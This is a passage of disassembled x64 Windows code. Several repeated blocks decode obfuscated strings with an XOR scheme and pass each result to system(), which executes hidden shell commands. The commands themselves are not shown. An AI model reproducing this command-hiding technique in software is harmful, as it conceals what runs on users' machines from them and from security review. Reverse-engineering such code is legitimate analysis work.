movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5e90]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5ea0]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
mov r8d, 0x14
movdqa xmm2, xmmword [0x1400c5eb0]
psubd xmm1, xmm0
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140057c50
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x184b]
lea rcx, [rbp + 0x93]
mov byte [rbp + 0x93], al
call fcn.14006e810
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140057f81
mov r8d, esi
cmp r15d, 2
jl 0x140057f47
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5e90]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5ea0]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
mov r8d, 0x18
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x1400c5eb0]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5ec0]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140057f50
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x18e1]
lea rcx, [rbp + 0x94]
mov byte [rbp + 0x94], al
call fcn.14006e840
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x140058281
mov r8d, esi
cmp r15d, 2
jl 0x140058247
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5e90]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5ea0]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
mov r8d, 0x18
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x1400c5eb0]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
movdqa xmm2, xmmword [0x1400c5ec0]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140058250
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x181b]
lea rcx, [rbp + 0x95]
mov byte [rbp + 0x95], al
call fcn.14006e870
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14005857a
mov r8d, esi
cmp r15d, 2
jl 0x140058549
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
movdqa xmm12, xmmword [0x1400c5e90]
movdqa xmm7, xmmword [0x1400c5ea0]
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm6, xmmword [0x1400c5eb0]
movdqa xmm1, xmm7
movdqa xmm2, xmmword [0x1400c5ec0]
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x140058593
mov r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140058550
movdqa xmm12, xmmword [0x1400c5e90]
movdqa xmm7, xmmword [0x1400c5ea0]
movdqa xmm6, xmmword [0x1400c5eb0]
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1833]
lea rcx, [rbp + 0x96]
mov byte [rbp + 0x96], al
call fcn.14006e890
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14005887a
mov r8d, esi
cmp r15d, 2
jl 0x140058842
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x1400c5ec0]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x14005887a
mov r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140058850
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1864]
lea rcx, [rbp + 0x97]
mov byte [rbp + 0x97], al
call fcn.14006e8b0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140058b71
mov r8d, esi
cmp r15d, 2
jl 0x140058b2d
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x1400c5ec0]
andps xmm1, xmm10
movd xmm0, eax
packuswb xmm1, xmm1
mov r8d, 0x18
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140058b40
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x18fb]
lea rcx, [rbp + 0x98]
mov byte [rbp + 0x98], al
call fcn.14006e8e0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x140058e61
mov r8d, esi
cmp r15d, 2
jl 0x140058e24
movdqa xmm2, xmmword [0x1400c5e80]
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm2, xmmword [0x1400c5ec0]
andps xmm1, xmm10
movd xmm0, eax
